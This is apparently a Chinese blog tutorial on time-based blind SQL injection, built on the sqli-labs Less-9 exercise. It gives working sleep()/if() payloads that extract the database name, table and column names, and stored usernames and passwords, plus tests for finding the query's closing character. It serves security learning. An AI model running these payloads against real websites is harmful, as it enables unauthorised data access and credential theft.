时间盲注

时间盲注:web页面只返回一个正常页面。利用页面响应时间不同,逐个拆解数据

前提是数据库会执行命令代码,只是不反馈页面信息。

关键函数

sleep()函数

函数sleep()参数为休眠时长,以秒为单位,可以为小数

select sleep(2);

if()函数

函数if(conditioin,true,false) condition为条件,true当条件为真时返回的值,false当条件为假时返回的值

  • SELECT if(1=2,sleep(2),sleep(3));  条件为假,执行休眠3秒

  • SELECT if(1=1,sleep(2),sleep(3));  条件为真,执行休眠2秒

SELECT if(ascii(substr((select database()),1,1))>100,sleep(0),sleep(3));

 substr(( ),1,1)从第一个字母开始显示第一个字母

 

 

时间盲注  (下以Less-9为例)

利用二分法结合页面响应速度快慢判断字符

根据二分法对比数值,推算出

?id=1' and if(ascii(substr((select database()),1,1))>=110,sleep(0),sleep(3))-- -    页面加载快

 

?id=1' and if(ascii(substr((select database()),1,1))>=120,sleep(0),sleep(3))-- -    页面加载慢

 

?id=1' and if(ascii(substr((select database()),1,1))>=115,sleep(0),sleep(3))-- -    页面加载快

 

?id=1' and if(ascii(substr((select database()),1,1))>=116,sleep(0),sleep(3))-- -    页面加载慢

 

以上可得第一个字符为s(ASCII码表s对应115)

更改substr参数推算第二个字母,并以此推算剩余字母,直到得出结果。

注:

  • 查看网络页面响应时间的长短
    • 使用F12,查看网络
    • 菜单栏→工具→Web开发者→网络

 

替换需要查询的命令语句

表名:

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>=100,sleep(0),sleep(3))-- -

对黄色括号里的进行替换

列名:

?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))>=100,sleep(0),sleep(3))-- -

字段名:

?id=1' and if(ascii(substr((select username from users limit 0,1),1,1))>=100,sleep(0),sleep(3))-- -

?id=1' and if(ascii(substr((select password from users limit 0,1),1,1))>=100,sleep(0),sleep(3))-- -

 

时间盲注闭合符的判断

?id=1 and sleep(2)-- -

?id=1' and sleep(2)-- -

?id=1" and sleep(2)-- -

?id=1) and sleep(2)-- -

哪一个成功进行两秒钟响应,即为那种闭合方式

 

posted @   程亦澄  阅读(104)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 单元测试从入门到精通
· 上周热点回顾(3.3-3.9)
· winform 绘制太阳,地球,月球 运作规律
点击右上角即可分享
微信分享提示